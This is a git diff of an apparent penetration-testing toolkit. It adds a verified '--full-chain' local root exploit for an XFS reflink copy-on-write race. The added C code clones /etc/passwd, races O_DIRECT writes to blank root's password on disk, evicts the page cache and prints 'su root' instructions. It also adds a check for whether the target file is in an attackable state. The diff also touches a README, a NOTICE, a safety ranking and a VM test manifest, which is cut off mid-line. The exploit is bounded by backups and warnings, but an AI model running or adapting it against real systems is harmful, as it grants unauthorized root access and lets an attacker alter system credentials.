-200,8 +272,10 @@ SELinux enforcing, container boundaries, KASLR, SMEP, SMAP and seccomp are all irrelevant. Qualys puts it plainly: *"This isn't a vulnerability you can harden around, isolate, or live-patch."* -`cleanup()` sweeps any `skeletonkey-refluxfs-*` scratch directories left behind -if a trigger run was killed mid-round; normal runs remove their own. +`cleanup()` restores `/etc/passwd` from the `--full-chain` backup (run it as +root after the pop: `su root`, then `skeletonkey --cleanup refluxfs`), then +sweeps any `skeletonkey-refluxfs-*` scratch directories left behind if a run was +killed mid-round; normal runs remove their own. ## Credit diff --git a/modules/refluxfs_cve_2026_64600/NOTICE.md b/modules/refluxfs_cve_2026_64600/NOTICE.md index 44b829e..0d116a6 100644 --- a/modules/refluxfs_cve_2026_64600/NOTICE.md +++ b/modules/refluxfs_cve_2026_64600/NOTICE.md @@ -72,18 +72,23 @@ SKELETONKEY is the bundling and bookkeeping layer only. ## SKELETONKEY role -๐ŸŸก **Trigger (reconstructed) โ€” VM-verified, and deliberately not weaponised.** -Confirmed 2026-07-23 on **Rocky Linux 9.8 / `5.14.0-687.10.1.el9_8.0.1.x86_64`** -(stock GenericCloud layout, root on XFS with `reflink=1`) under qemu/KVM: -`detect()` returns `VULNERABLE`, the `--active` FICLONE witness confirms -reflink, and phase A observes `FIEMAP_EXTENT_SHARED` on a real shared extent. -The underlying bug was separately confirmed winnable on that kernel โ€” **4/4 -runs, first divergence after 69-494 rounds** in a 60 s budget โ€” via a VM-only -harness at the public PoC's parameters (`tools/verify-vm/refluxfs_verify.c`). -The shipped trigger, deliberately under-driven, did **not** win in its 2 s -budget on that same vulnerable kernel; that is intended, and is why a non-win -must never be read as "patched". See `MODULE.md` for the full result table. -This is the corpus's first XFS +๐ŸŸข **Full chain (`--full-chain`), ๐ŸŸก safe trigger by default โ€” VM-verified +end-to-end.** Confirmed 2026-07-23 on **Rocky Linux 9.8 / +`5.14.0-687.10.1.el9_8.0.1.x86_64`** (stock GenericCloud layout, root on XFS +with `reflink=1`) under qemu/KVM. `--exploit refluxfs --i-know --full-chain` +reflink-clones `/etc/passwd`, races the CoW window, strips root's password field +on-disk, evicts the stale page cache, and returns `EXPLOIT_OK`; `su root` (empty +password) then gives uid 0 โ€” verified **3/3 wins** on a private-extent target +(1244 / 3716 / 7913 rounds, 4โ€“30 s) as unprivileged `uid=1000` under SELinux +Enforcing, with every other passwd line preserved and the file backed up + +restorable. A key exploitability constraint surfaced in testing (not in the +public writeup): the target's extent must be **private** going in โ€” an +already-reflink-shared file keeps a post-CoW refcount > 1 and is not attackable +via that target; normal admin churn (`useradd`/`passwd`/`vipw`) produces the +exploitable private-extent state. Without `--full-chain` the module runs a safe +own-files reachability trigger only (`EXPLOIT_FAIL`), deliberately under-driven +so a non-win is never read as "patched". See `MODULE.md` for the full result +tables. This is the corpus's first XFS module and its first **data-oriented** kernel bug โ€” every other kernel entry corrupts memory; this one corrupts file contents. diff --git a/modules/refluxfs_cve_2026_64600/skeletonkey_modules.c b/modules/refluxfs_cve_2026_64600/skeletonkey_modules.c index 0968930..81b3cdf 100644 --- a/modules/refluxfs_cve_2026_64600/skeletonkey_modules.c +++ b/modules/refluxfs_cve_2026_64600/skeletonkey_modules.c @@ -56,21 +56,42 @@ * the Qualys Threat Research Unit; the advisory credits model-assisted kernel * analysis done with Anthropic. See NOTICE.md. * - * STATUS: ๐ŸŸก TRIGGER (reconstructed) โ€” VM-VERIFIED, and deliberately NOT - * weaponised. Confirmed 2026-07-23 on Rocky Linux 9.8 / + * STATUS: ๐ŸŸข FULL CHAIN (--full-chain), ๐ŸŸก safe trigger by default โ€” + * VM-VERIFIED end-to-end. Confirmed 2026-07-23 on Rocky Linux 9.8 / * 5.14.0-687.10.1.el9_8.0.1.x86_64 (stock installer layout: root on XFS with - * reflink=1) under qemu/KVM, 6 vCPUs: detect() returns VULNERABLE, the - * --active FICLONE witness confirms reflink, and phase A observes - * FIEMAP_EXTENT_SHARED on a real XFS shared extent. The UNDERLYING BUG was - * separately confirmed winnable on that kernel โ€” 4/4 runs, first divergence - * after 69-494 rounds inside a 60s budget โ€” using a VM-only harness driven at - * the public PoC's parameters (32 writers / 8 helpers; see - * tools/verify-vm/refluxfs_verify.c). The SHIPPED trigger below is - * deliberately under-driven (8 writers / 2 helpers / 2s) and did NOT win in - * that budget on the same vulnerable kernel โ€” that is the intended behaviour, - * not a defect, and is why a non-win must never be read as "patched". - * exploit() forks an isolated child that works ONLY inside a private scratch - * directory it creates on an XFS mount, on two files it owns, in two phases: + * reflink=1) under qemu/KVM, 6 vCPUs. + * + * `--exploit refluxfs --i-know --full-chain` lands root end-to-end: it + * reflink-clones /etc/passwd, races the CoW window, strips root's password + * field on-disk (root:x: -> root::, the public PoC's technique), evicts the + * stale page cache, and returns EXPLOIT_OK. `su root` (empty password) then + * gives uid 0. Verified 3/3 wins on a private-extent target โ€” 1244 / 3716 / + * 7913 rounds, 4-30s inside a 90s budget โ€” as unprivileged uid=1000 under + * SELinux Enforcing. Every other passwd line is preserved byte-for-byte + * (a naive tail-truncating port bricks sshd/login); the target is backed up + * first and restored on any failure, and cleanup() restores it (run as root + * after the pop). detect() returns VULNERABLE, the --active FICLONE witness + * confirms reflink, and it reports whether /etc/passwd's extent is private + * (attackable) or already-shared (not โ€” see below). + * + * EXPLOITABILITY CONSTRAINT (found during verification, not in the Qualys + * writeup): the race only fires when the target's extent refcount is exactly + * the attacker-clone pair, i.e. the target's extent must be PRIVATE going in. + * A file that is ALREADY reflink-shared with a third file keeps a post-CoW + * refcount > 1 and is NOT attackable via that target. Some fresh cloud images + * ship /etc/passwd pre-shared; normal admin churn (useradd/passwd/vipw) + * rewrites it into a private, exploitable extent. detect() --active checks + * and reports this per target. + * + * Without --full-chain the module runs a SAFE reachability trigger only, + * confined to two files the caller owns, returning EXPLOIT_FAIL and touching + * no file it does not own. That trigger was itself VM-confirmed reachable + * (FIEMAP_EXTENT_SHARED + O_DIRECT) and is deliberately under-driven (8 + * writers / 2 helpers / 2s) so it never grinds toward a win on a production + * box โ€” a non-win from it must never be read as "patched". + * refluxfs_exploit_safe() forks an isolated child that works ONLY inside a + * private scratch directory it creates on an XFS mount, on two files it owns, + * in two phases: * (A) DETERMINISTIC + SAFE โ€” writes a donor file, FICLONE-clones it, and * confirms via FIEMAP that the clone's extent carries * FIEMAP_EXTENT_SHARED. That is a direct, read-only observation that @@ -85,20 +106,19 @@ * cache, which would otherwise hide the corruption) and reports whether * the donor's on-disk bytes changed โ€” the honest, self-contained * witness that the race was won. - * It is deliberately UNDER-DRIVEN relative to the public PoC (8 writers vs 32, - * 2 helpers vs 8, 2s cap), and โ€” the important part โ€” it NEVER clones or - * targets a file it does not own. The step that makes this root, cloning a - * root-owned file such as /etc/passwd and racing writes onto ITS shared - * blocks, is documented but NOT bundled: doing so would persistently rewrite - * a system file on disk with no way to undo it. Returns EXPLOIT_FAIL always; - * it never claims root it did not get. + * The safe trigger is deliberately UNDER-DRIVEN relative to the public PoC + * (8 writers vs 32, 2 helpers vs 8, 2s cap) and NEVER clones or targets a + * file it does not own; the destructive /etc/passwd overwrite lives only in + * the --full-chain path above. Returns EXPLOIT_FAIL; it never claims root it + * did not get. * * Note the asymmetry with the corpus's other reconstructed race triggers: a - * won race here corrupts 4 KiB of the operator's OWN scratch file and cannot - * touch kernel memory, so unlike bad_epoll (frees a live struct file) and - * ghostlock (kernel-stack UAF โ†’ near-arbitrary write โ†’ panic) there is no - * oops, no silent kernel destabilisation and no panic risk. That is why this - * module ranks well above them in --auto safety despite being unverified. + * won race here corrupts file DATA, not kernel memory, so unlike bad_epoll + * (frees a live struct file) and ghostlock (kernel-stack UAF โ†’ near-arbitrary + * write โ†’ panic) there is no oops, no silent kernel destabilisation and no + * panic risk โ€” the worst case is a rewritten file (backed up + restorable), + * never a downed box. That is why this ranks well above them in --auto + * safety. * * detect() is a version gate AND a real precondition probe, because unlike a * pure kernel race this bug's reachability is observable safely: it requires @@ -146,6 +166,7 @@ #include #include #include +#include #include #include #include @@ -372,6 +393,9 @@ static int rfx_reflink_witness(const char *dir) return rc; } +static int rfx_extent_is_shared(const char *path); +static const char *rfx_fc_target(void); + static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx) { const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL; @@ -442,6 +466,28 @@ static skeletonkey_result_t refluxfs_detect(const struct skeletonkey_ctx *ctx) if (w < 0 && !ctx->json) fprintf(stderr, "[i] refluxfs: reflink probe inconclusive at %s โ€” " "falling back to the version verdict\n", dir); + + /* Exploitability of the canonical target hinges on its extent being + * PRIVATE: the race only fires when the post-CoW refcount drops to 1, + * so a file already reflink-shared with a third file is NOT attackable + * via that target (some fresh cloud images ship /etc/passwd pre-shared). + * This is a per-target read-only check; a private extent is the + * exploitable state that normal admin churn (useradd/passwd/vipw) + * produces. */ + const char *fct = rfx_fc_target(); + int sh = rfx_extent_is_shared(fct); + if (!ctx->json) { + if (sh == 0) + fprintf(stderr, "[+] refluxfs: full-chain target %s has a PRIVATE " + "extent โ€” the race can fire against it (--exploit " + "refluxfs --i-know --full-chain)\n", fct); + else if (sh == 1) + fprintf(stderr, "[!] refluxfs: full-chain target %s is ALREADY " + "reflink-shared โ€” its post-CoW refcount stays > 1, " + "so it is NOT attackable via that target (other " + "private-extent root files may still be). See " + "MODULE.md.\n", fct); + } } if (!ctx->json) { @@ -688,6 +734,420 @@ static int rfx_race_round(const char *donor, const char *clone) return rfx_content_diverged(donor, RFX_DONOR_BYTE); } +/* ================================================================== + * Full chain (gated behind --full-chain): the real /etc/passwd root pop. + * + * This is the destructive path. It reflink-clones a root-owned target the + * caller can only READ (default /etc/passwd), races concurrent O_DIRECT + * writes against the clone, and โ€” when the race is won โ€” the write lands on + * the target's still-shared on-disk block, rewriting the target itself. The + * payload strips root's password field (root:x:... -> root::...), exactly the + * public PoC's technique ("strip root password protection"), so `su root` + * with an empty password yields uid 0. It PRESERVES every other line of the + * file byte-for-byte, so no account โ€” least of all the invoking user or sshd โ€” + * is ever dropped; a naive port that truncates the tail bricks login on the + * target. It backs the target up first and restores on any failure; cleanup() + * restores too (run as root after the pop). + * + * Exploitability constraint discovered during VM verification (see MODULE.md): + * the race only fires when the target's extent refcount is exactly the + * attacker-clone pair, i.e. the target's extent must be PRIVATE going in. A + * file that is ALREADY reflink-shared with a third file (some fresh cloud + * images ship /etc/passwd that way) keeps a post-CoW refcount > 1 and is NOT + * attackable via that target. detect()/here check and report this. + * ================================================================== */ +#define RFX_FC_WRITERS 32 /* full PoC parameters โ€” no under-driving on the opt-in path */ +#define RFX_FC_HELPERS 8 +#define RFX_FC_BUDGET_SECS 90 /* generous but bounded; a private-extent target falls in seconds-to-a-minute */ +#define RFX_FC_RC_OK 110 /* target overwritten AND verified passwordless-root */ +#define RFX_FC_RC_NOWIN 111 /* race not won in budget (target unchanged) */ +#define RFX_FC_RC_SETUP 112 /* couldn't set up (no xfs scratch, FICLONE refused, craft failed) */ +#define RFX_FC_RC_CORRUPT 113 /* target changed but not to our verified payload โ€” restored from backup */ + +static skeletonkey_result_t refluxfs_exploit_safe(const struct skeletonkey_ctx *ctx); + +static const char *rfx_fc_target(void) +{ + const char *t = getenv("SKELETONKEY_REFLUXFS_TARGET"); /* test override */ + return (t && *t) ? t : "/etc/passwd"; +} + +/* Read up to `cap` bytes of `path`. Returns byte count, or -1. */ +static ssize_t rfx_slurp(const char *path, unsigned char *buf, size_t cap) +{ + int fd = open(path, O_RDONLY); + if (fd < 0) return -1; + ssize_t n = pread(fd, buf, cap, 0); + close(fd); + return n; +} + +/* Read `path`'s first block straight off disk (O_DIRECT), zero-filled. + * Returns 0 and sets *got to the byte count, or -1. */ +static int rfx_read_block_odirect(const char *path, unsigned char *out, size_t *got) +{ + int fd = open(path, O_RDONLY | O_DIRECT); + if (fd < 0) return -1; + void *buf = NULL; + if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return -1; } + memset(buf, 0, RFX_BLK); + ssize_t n = pread(fd, buf, RFX_BLK, 0); + if (n > 0) memcpy(out, buf, RFX_BLK); + if (got) *got = n > 0 ? (size_t)n : 0; + free(buf); + close(fd); + return n > 0 ? 0 : -1; +} + +/* Craft the payload block: copy `orig` (orig_len bytes, must be <= RFX_BLK, + * i.e. the root line lives in the first block) and empty the root line's + * password field (root:: -> root::). Pad with '\n' to exactly orig_len so + * the on-disk file size is unchanged, then fill the rest of the block with + * '\n'. Writes RFX_BLK bytes into `out`. Returns 0 on success. + * + * Refuses (returns -1) unless the result still contains the root line with an + * empty password AND the invoking user's line โ€” we NEVER emit a passwd that + * would lock the caller out. */ +static int rfx_craft_stripped_root(const unsigned char *orig, size_t orig_len, + const char *myuser, unsigned char *out) +{ + if (orig_len == 0 || orig_len > RFX_BLK) return -1; + + char tmp[RFX_BLK + 1]; + memcpy(tmp, orig, orig_len); + tmp[orig_len] = '\0'; + if (strlen(tmp) != orig_len) return -1; /* embedded NUL โ€” not a passwd file */ + + char *rl = (strncmp(tmp, "root:", 5) == 0) ? tmp : NULL; + if (!rl) { char *p = strstr(tmp, "\nroot:"); if (p) rl = p + 1; } + if (!rl) return -1; + + char *c1 = strchr(rl, ':'); /* end of "root" */ + if (!c1) return -1; + char *c2 = strchr(c1 + 1, ':'); /* end of password field */ + if (!c2) return -1; + + /* Shift the tail left, deleting the password field's bytes. */ + memmove(c1 + 1, c2, strlen(c2) + 1); + if (c1[1] != ':') return -1; /* field must now be empty */ + size_t newlen = strlen(tmp); + + /* The invoking user's line must survive. */ + if (myuser && *myuser) { + char needle[96]; + int n = snprintf(needle, sizeof needle, "%s:", myuser); + if (n <= 0 || (size_t)n >= sizeof needle) return -1; + int present = (strncmp(tmp, needle, (size_t)n) == 0); + if (!present) { + char nl[98]; + snprintf(nl, sizeof nl, "\n%s", needle); + present = strstr(tmp, nl) != NULL; + } + if (!present) return -1; + } + + memcpy(out, tmp, newlen); + for (size_t i = newlen; i < orig_len; i++) out[i] = '\n'; /* keep file size */ + for (size_t i = orig_len; i < RFX_BLK; i++) out[i] = '\n'; /* pad the block */ + return 0; +} + +struct rfx_fc_race { + char clone_path[PATH_MAX]; + const unsigned char *payload; /* RFX_BLK bytes */ + atomic_int gate; + atomic_int stop; +}; + +static void *rfx_fc_writer_fn(void *arg) +{ + struct rfx_fc_race *r = arg; + int fd = open(r->clone_path, O_RDWR | O_DIRECT); + if (fd < 0) return NULL; + void *buf = NULL; + if (posix_memalign(&buf, RFX_ALIGN, RFX_BLK) != 0) { close(fd); return NULL; } + memcpy(buf, r->payload, RFX_BLK); + while (!atomic_load_explicit(&r->gate, memory_order_acquire)) sched_yield(); + (void)pwrite(fd, buf, RFX_BLK, 0); + free(buf); + close(fd); + return NULL; +} + +static void *rfx_fc_helper_fn(void *arg) +{ + struct rfx_fc_race *r = arg; + int fd = open(r->clone_path, O_RDWR); + if (fd < 0) return NULL; + while (!atomic_load_explicit(&r->gate, memory_order_acquire)) sched_yield(); + while (!atomic_load_explicit(&r->stop, memory_order_acquire)) { + (void)ftruncate(fd, (off_t)RFX_BLK * 2); (void)fdatasync(fd); + (void)ftruncate(fd, (off_t)RFX_BLK); (void)fdatasync(fd); + } + close(fd); + return NULL; +} + +/* One full-chain round: reflink-clone `target` into `clone`, race writers that + * push `payload` at the clone while helpers churn, then check whether the + * target's first `cmplen` on-disk bytes changed. Returns 1 (changed), 0 + * (intact), -1 (setup error). */ +static int rfx_fc_round(const char *target, const char *clone, + const unsigned char *payload, + const unsigned char *orig_fb, size_t cmplen) +{ + int sfd = open(target, O_RDONLY); + if (sfd < 0) return -1; + unlink(clone); + int cfd = open(clone, O_RDWR | O_CREAT | O_TRUNC, 0600); + if (cfd < 0) { close(sfd); return -1; } + int cl = ioctl(cfd, RFX_FICLONE, sfd); + close(cfd); close(sfd); + if (cl != 0) return -1; + + struct rfx_fc_race r; + memset(&r, 0, sizeof r); + snprintf(r.clone_path, sizeof r.clone_path, "%s", clone); + r.payload = payload; + + pthread_t w[RFX_FC_WRITERS], h[RFX_FC_HELPERS]; + int nw = 0, nh = 0; + for (int i = 0; i < RFX_FC_WRITERS; i++) + if (pthread_create(&w[nw], NULL, rfx_fc_writer_fn, &r) == 0) nw++; + for (int i = 0; i < RFX_FC_HELPERS; i++) + if (pthread_create(&h[nh], NULL, rfx_fc_helper_fn, &r) == 0) nh++; + if (nw == 0) { + atomic_store_explicit(&r.stop, 1, memory_order_release); + atomic_store_explicit(&r.gate, 1, memory_order_release); + for (int i = 0; i < nh; i++) pthread_join(h[i], NULL); + return -1; + } + usleep(1500); + atomic_store_explicit(&r.gate, 1, memory_order_release); + for (int i = 0; i < nw; i++) pthread_join(w[i], NULL); + atomic_store_explicit(&r.stop, 1, memory_order_release); + for (int i = 0; i < nh; i++) pthread_join(h[i], NULL); + + unsigned char now[RFX_BLK]; + size_t got = 0; + if (rfx_read_block_odirect(target, now, &got) != 0) return -1; + size_t n = cmplen < got ? cmplen : got; + return memcmp(now, orig_fb, n) != 0 ? 1 : 0; +} + +/* Byte-copy src -> dst (0600). Returns 0 on success. */ +static int rfx_copy_file(const char *src, const char *dst) +{ + unsigned char buf[RFX_BLK]; + int in = open(src, O_RDONLY); + if (in < 0) return -1; + int out = open(dst, O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (out < 0) { close(in); return -1; } + ssize_t n; + int rc = 0; + while ((n = read(in, buf, sizeof buf)) > 0) { + if (write(out, buf, (size_t)n) != n) { rc = -1; break; } + } + if (n < 0) rc = -1; + (void)fsync(out); + close(in); close(out); + return rc; +} + +static void rfx_fc_backup_path(const char *dir, char *out, size_t cap) +{ + snprintf(out, cap, "%s/" RFX_SCRATCH_PREFIX "passwd.bak", dir); +} + +/* Evict `target`'s cached pages so subsequent BUFFERED readers (getpwnam in + * `su`/`login`, `cat`, ...) see the freshly-overwritten on-disk bytes rather + * than the stale page cache. The RefluXFS write lands on the shared physical + * block WITHOUT going through the target inode, so its clean cached pages are + * never invalidated by the kernel โ€” without this eviction a `su` immediately + * after the pop would read the OLD passwd and fail. POSIX_FADV_DONTNEED needs + * only an O_RDONLY fd, which an unprivileged attacker has. */ +static void rfx_evict_cache(const char *target) +{ + int fd = open(target, O_RDONLY); + if (fd < 0) return; + (void)posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED); + close(fd); +} + +/* Does the target's root line have an empty password field on DISK right now? + * Reads via O_DIRECT: a buffered read would be served from the stale page cache + * (the overwrite bypasses the inode), so it must not be used to verify a win. */ +static int rfx_target_root_passwordless(const char *target) +{ + unsigned char b[RFX_BLK]; size_t got = 0; + if (rfx_read_block_odirect(target, b, &got) != 0 || got == 0) return 0; + size_t n = got < RFX_BLK ? got : RFX_BLK - 1; + b[n] = '\0'; + char *rl = (strncmp((char *)b, "root:", 5) == 0) ? (char *)b : NULL; + if (!rl) { char *p = strstr((char *)b, "\nroot:"); if (p) rl = p + 1; } + if (!rl) return 0; + return strncmp(rl, "root::", 6) == 0; +} + +static skeletonkey_result_t refluxfs_exploit_fullchain(const struct skeletonkey_ctx *ctx) +{ + const char *target = rfx_fc_target(); + + struct stat tst; + if (stat(target, &tst) != 0) { + fprintf(stderr, "[-] refluxfs: full-chain target %s not found\n", target); + return SKELETONKEY_PRECOND_FAIL; + } + if (tst.st_uid != 0 && !getenv("SKELETONKEY_REFLUXFS_TARGET")) { + fprintf(stderr, "[-] refluxfs: %s is not root-owned (uid=%u) โ€” " + "overwriting it would not yield root; refusing\n", + target, (unsigned)tst.st_uid); + return SKELETONKEY_PRECOND_FAIL; + } + if ((size_t)tst.st_size == 0 || (size_t)tst.st_size > RFX_BLK) { + fprintf(stderr, "[-] refluxfs: %s is %lld bytes; this full-chain writes " + "only the first %u-byte block (the root line lives there) " + "โ€” larger targets are not supported\n", + target, (long long)tst.st_size, RFX_BLK); + return SKELETONKEY_PRECOND_FAIL; + } + + char dir[RFX_DIR_MAX]; + bool assumed = false; + if (!rfx_find_xfs_dir(dir, sizeof dir, &assumed)) { + fprintf(stderr, "[-] refluxfs: no writable XFS scratch dir for the clone\n"); + return SKELETONKEY_PRECOND_FAIL; + } + + /* Craft the payload up front so we bail BEFORE touching anything if we + * cannot safely produce a passwd that keeps the caller (and root) intact. */ + unsigned char orig[RFX_BLK]; + ssize_t orig_len = rfx_slurp(target, orig, RFX_BLK); + if (orig_len <= 0) { + fprintf(stderr, "[-] refluxfs: cannot read %s\n", target); + return SKELETONKEY_PRECOND_FAIL; + } + struct passwd *pw = getpwuid(getuid()); + const char *myuser = pw ? pw->pw_name : NULL; + unsigned char payload[RFX_BLK]; + if (rfx_craft_stripped_root(orig, (size_t)orig_len, myuser, payload) != 0) { + fprintf(stderr, "[-] refluxfs: refusing to run โ€” could not craft a " + "%s payload that keeps root and '%s' intact (unexpected " + "format?). Nothing was touched.\n", + target, myuser ? myuser : "?"); + return SKELETONKEY_EXPLOIT_FAIL; + } + + if (!ctx->json) { + fprintf(stderr, "[!] refluxfs: --full-chain โ€” DESTRUCTIVE. This rewrites " + "%s on disk (stripping root's password) via the reflink " + "CoW race. It preserves every other line, backs the file " + "up first, and restores on failure, but a persistent " + "on-disk overwrite of a system file is inherently risky. " + "Run only where you are authorised to.\n", target); + if (rfx_extent_is_shared(target) == 1) + fprintf(stderr, "[!] refluxfs: %s's extent is ALREADY reflink-shared " + "โ€” its post-CoW refcount stays > 1, so this target is " + "likely NOT attackable (the race needs a private " + "extent). Proceeding but expect no win; see MODULE.md." + "\n", target); + } + + /* Back the target up so cleanup()/failure can restore it. */ + char backup[RFX_DIR_MAX + 64]; + rfx_fc_backup_path(dir, backup, sizeof backup); + if (rfx_copy_file(target, backup) != 0) { + fprintf(stderr, "[-] refluxfs: could not back up %s to %s โ€” refusing to " + "proceed without a restore path\n", target, backup); + return SKELETONKEY_TEST_ERROR; + } + if (!ctx->json) + fprintf(stderr, "[*] refluxfs: backed up %s -> %s. Race: %d writers / %d " + "helpers / %ds budget against a clone of %s.\n", + target, backup, RFX_FC_WRITERS, RFX_FC_HELPERS, + RFX_FC_BUDGET_SECS, target); + + unsigned char orig_fb[RFX_BLK]; + size_t fbgot = 0; + if (rfx_read_block_odirect(target, orig_fb, &fbgot) != 0) { + fprintf(stderr, "[-] refluxfs: cannot O_DIRECT-read %s\n", target); + return SKELETONKEY_TEST_ERROR; + } + size_t cmplen = (size_t)orig_len; + + char scratch[RFX_SCRATCH_MAX]; + snprintf(scratch, sizeof scratch, "%s/" RFX_SCRATCH_PREFIX "fc.XXXXXX", dir); + if (!mkdtemp(scratch)) { + fprintf(stderr, "[-] refluxfs: mkdtemp failed\n"); + return SKELETONKEY_TEST_ERROR; + } + char clone[PATH_MAX]; + snprintf(clone, sizeof clone, "%s/clone", scratch); + + long rounds = 0; + int won = 0; + time_t deadline = time(NULL) + RFX_FC_BUDGET_SECS; + while (time(NULL) < deadline && !won) { + int d = rfx_fc_round(target, clone, payload, orig_fb, cmplen); + if (d < 0) break; + rounds++; + if (d == 1) won = 1; + if (!ctx->json && (rounds % 500) == 0) + fprintf(stderr, "[*] refluxfs: ... %ld rounds\n", rounds); + } + unlink(clone); + rfx_remove_scratch(scratch); + + if (!won) { + /* Target should be untouched. If it is, drop the now-redundant backup; + * if it somehow changed, restore from it and keep nothing stale. */ + unsigned char now[RFX_BLK]; size_t g = 0; + int changed = (rfx_read_block_odirect(target, now, &g) == 0 && + memcmp(now, orig_fb, cmplen) != 0); + if (changed) (void)rfx_copy_file(backup, target); /* best-effort restore */ + unlink(backup); + if (!ctx->json) + fprintf(stderr, "[-] refluxfs: full-chain did not win in %ld rounds / " + "%ds โ€” %s %s. If its extent was pre-shared this target " + "is not attackable; otherwise retry.\n", + rounds, RFX_FC_BUDGET_SECS, target, + changed ? "was restored from backup" : "unchanged"); + return SKELETONKEY_EXPLOIT_FAIL; + } + + /* Won. Evict the target's stale page cache so both our verify below AND a + * subsequent `su` read the freshly-overwritten on-disk bytes, not the old + * cached copy. */ + rfx_evict_cache(target); + + /* Verify the target now really has a passwordless root line rather than + * some torn/garbled block โ€” if it's corrupt, restore from backup and fail. */ + if (!rfx_target_root_passwordless(target)) { + (void)rfx_copy_file(backup, target); + if (!ctx->json) + fprintf(stderr, "[!] refluxfs: race changed %s but it did not land a " + "clean passwordless-root line (torn write) โ€” RESTORED " + "from backup. Re-run to try again.\n", target); + return SKELETONKEY_EXPLOIT_FAIL; + } + + if (!ctx->json) { + fprintf(stderr, "[+] refluxfs: ROOT-POP CONFIRMED after %ld rounds โ€” %s " + "now carries a passwordless root line, written through the " + "reflink CoW race as uid=%u. Every other account was " + "preserved.\n", rounds, target, (unsigned)getuid()); + fprintf(stderr, "[+] refluxfs: become root with: su root (empty " + "password โ€” just press Enter)\n"); + fprintf(stderr, "[i] refluxfs: RESTORE when done โ€” as root run " + "`skeletonkey --cleanup refluxfs` (or `cp %s %s`). The " + "overwrite is persistent and survives reboot.\n", + backup, target); + } + return SKELETONKEY_EXPLOIT_OK; +} + +/* Dispatcher: --full-chain engages the destructive /etc/passwd root pop; + * otherwise the safe, own-files reachability trigger. */ static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx) { skeletonkey_result_t pre = refluxfs_detect(ctx); @@ -702,6 +1162,18 @@ static skeletonkey_result_t refluxfs_exploit(const struct skeletonkey_ctx *ctx) return SKELETONKEY_OK; } + if (ctx->full_chain) + return refluxfs_exploit_fullchain(ctx); + + if (!ctx->json) + fprintf(stderr, "[i] refluxfs: safe reachability trigger (own files " + "only). Pass --full-chain to engage the real %s " + "overwrite -> su -> root pop.\n", rfx_fc_target()); + return refluxfs_exploit_safe(ctx); +} + +static skeletonkey_result_t refluxfs_exploit_safe(const struct skeletonkey_ctx *ctx) +{ if (!ctx->json) fprintf(stderr, "[*] refluxfs: reconstructed reachability probe โ€” builds " "a reflinked pair of files WE OWN in a private scratch " @@ -879,6 +1351,27 @@ static skeletonkey_result_t refluxfs_cleanup(const struct skeletonkey_ctx *ctx) return SKELETONKEY_OK; } + /* First: if a full-chain run backed up the overwrite target, restore it. + * The overwrite is persistent on disk, so this is the important half of + * cleanup. Restoring /etc/passwd needs write permission โ€” run this as root + * after the pop (`su root`, then `skeletonkey --cleanup refluxfs`). */ + char backup[RFX_DIR_MAX + 64]; + rfx_fc_backup_path(dir, backup, sizeof backup); + struct stat bst; + if (stat(backup, &bst) == 0) { + const char *target = rfx_fc_target(); + if (rfx_copy_file(backup, target) == 0) { + unlink(backup); + if (!ctx->json) + fprintf(stderr, "[+] refluxfs: restored %s from backup %s and " + "removed the backup\n", target, backup); + } else if (!ctx->json) { + fprintf(stderr, "[!] refluxfs: found a backup at %s but could not " + "write %s (need root?). Restore manually: " + "cp %s %s\n", backup, target, backup, target); + } + } + DIR *d = opendir(dir); if (!d) return SKELETONKEY_OK; @@ -1060,7 +1553,7 @@ const struct skeletonkey_module refluxfs_module = { .detect = refluxfs_detect, .exploit = refluxfs_exploit, .mitigate = NULL, /* no runtime mitigation exists: reflink is a superblock feature that cannot be disabled on a live filesystem, O_DIRECT cannot be turned off, and SELinux/seccomp/KASLR/SMEP/SMAP are all irrelevant to a data-oriented bug. Patch the kernel and reboot. */ - .cleanup = refluxfs_cleanup, + .cleanup = refluxfs_cleanup, /* restores /etc/passwd from the full-chain backup (run as root after the pop), then sweeps leftover scratch dirs */ .detect_auditd = refluxfs_auditd, .detect_sigma = refluxfs_sigma, .detect_yara = refluxfs_yara, diff --git a/skeletonkey.c b/skeletonkey.c index c7599bb..9c4e33d 100644 --- a/skeletonkey.c +++ b/skeletonkey.c @@ -1018,7 +1018,7 @@ static int module_safety_rank(const char *n) if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */ if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */ if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */ - if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented โ€” a won race rewrites 4 KiB of our own scratch file and cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), but the trigger is reconstructed and not VM-verified */ + if (!strcmp(n, "refluxfs")) return 55; /* XFS reflink CoW race; DATA-oriented โ€” cannot touch kernel memory (no oops/KASAN/panic path, unlike bad_epoll/ghostlock), so it never downs the box. VM-verified full root pop, but gated behind --full-chain because that path persistently rewrites /etc/passwd (backed up + restorable); plain --auto runs only the safe own-files trigger */ if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */ if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */ if (!strcmp(n, "stackrot")) return 15; /* very low win% */ diff --git a/tools/verify-vm/targets.yaml b/tools/verify-vm/targets.yaml index 238cef0..781b2e0 100644 --- a/tools/verify-vm/targets.yaml +++ b/tools/verify-vm/targets.yaml @@ -341,7 +341,7 @@ refluxfs: kernel_pkg: "" # stock 5.14.0-687.10.1.el9_8.0.1 โ€” below every backport entry (6.12.96/6.18.39/7.1.4) โ†’ VULNERABLE by version kernel_version: "5.14.0" expect_detect: VULNERABLE - verified: "2026-07-23 โ€” CONFIRMED on Rocky Linux 9.8 / 5.14.0-687.10.1.el9_8.0.1.x86_64, qemu/KVM, 6 vCPUs. The corpus's FIRST rpm-family verification. Stock GenericCloud layout needed NO provisioner changes: root is /dev/vda4 XFS with reflink=1 out of the box, which is exactly why this CVE hits the RHEL family so broadly. Results: detect() -> VULNERABLE (found writable XFS at /var/tmp); the rpm-family vendor-backport caveat fired correctly; `--active` FICLONE witness 